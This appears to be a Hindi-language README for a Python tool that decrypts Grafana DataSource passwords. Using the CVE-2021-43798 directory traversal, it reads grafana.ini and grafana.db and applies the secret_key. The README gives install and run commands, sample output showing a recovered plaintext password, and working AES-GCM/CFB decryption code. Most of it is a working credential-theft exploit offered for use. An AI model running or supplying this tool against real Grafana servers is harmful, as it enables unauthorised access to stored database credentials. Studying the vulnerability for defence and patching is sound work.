
ग्राफाना डेटासोर्स पासवर्ड को CVE-2021-43798 डायरेक्टरी ट्रैवर्सल का शोषण करके डिक्रिप्ट करता है, ताकि कॉन्फ़िगरेशन फ़ाइलें प्राप्त की जा सकें और एन्क्रिप्शन कुंजियाँ निकाली जा सकें।
यह स्क्रिप्ट एक Grafana इंस्टेंस से DataSource पासवर्ड को डिक्रिप्ट करती है जो CVE-2021-43798 के प्रति संवेदनशील है, जो अनधिकृत मनमाना फ़ाइल पढ़ने की अनुमति देता है।
Grafana संस्करण 8.0.0-beta1 से 8.3.0 तक एक डायरेक्टरी ट्रैवर्सल कमजोरी के प्रति संवेदनशील हैं जो अनधिकृत उपयोगकर्ताओं को सर्वर पर मनमाना फ़ाइलें पढ़ने की अनुमति देती है। यह स्क्रिप्ट grafana.db फ़ाइल में पाए गए DataSource पासवर्ड को डिक्रिप्ट करने के लिए grafana.ini कॉन्फ़िगरेशन फ़ाइल में मिली secret_key का उपयोग करके इस कमजोरी का लाभ उठाती है।
requestsquestionarytermcolorcryptographypip install requests questionary termcolor cryptography
grafana.db और grafana.ini फ़ाइलें हैं।python decrypt.py
आप स्क्रिप्ट में उदाहरण कोड को कमेंट हटाकर एक सादा-पाठ पासवर्ड एन्कोड भी कर सकते हैं।
स्क्रिप्ट पेलोड का विश्लेषण करके उपयोग किए गए एन्क्रिप्शन एल्गोरिथ्म को निर्धारित करती है। डिफ़ॉल्ट एन्क्रिप्शन एल्गोरिथ्म aes-cfb है।
प्राप्त एन्क्रिप्शन एल्गोरिथ्म और grafana.ini से secret_key का उपयोग करके, स्क्रिप्ट DataSource पासवर्ड को डिक्रिप्ट करती है।
स्क्रिप्ट में उसी एन्क्रिप्शन विधि और secret_key का उपयोग करके एक सादा-पाठ पासवर्ड को एन्क्रिप्ट करने की कार्यक्षमता भी शामिल है।
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
ये फ़ंक्शन डिक्रिप्शन और एन्क्रिप्शन प्रक्रियाओं को संभालते हैं।
यदि आपको कोई बग मिलता है या सुधार के लिए सुझाव हैं तो बेझिझक issues या pull requests खोलें।
यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है। विवरण के लिए LICENSE फ़ाइल देखें।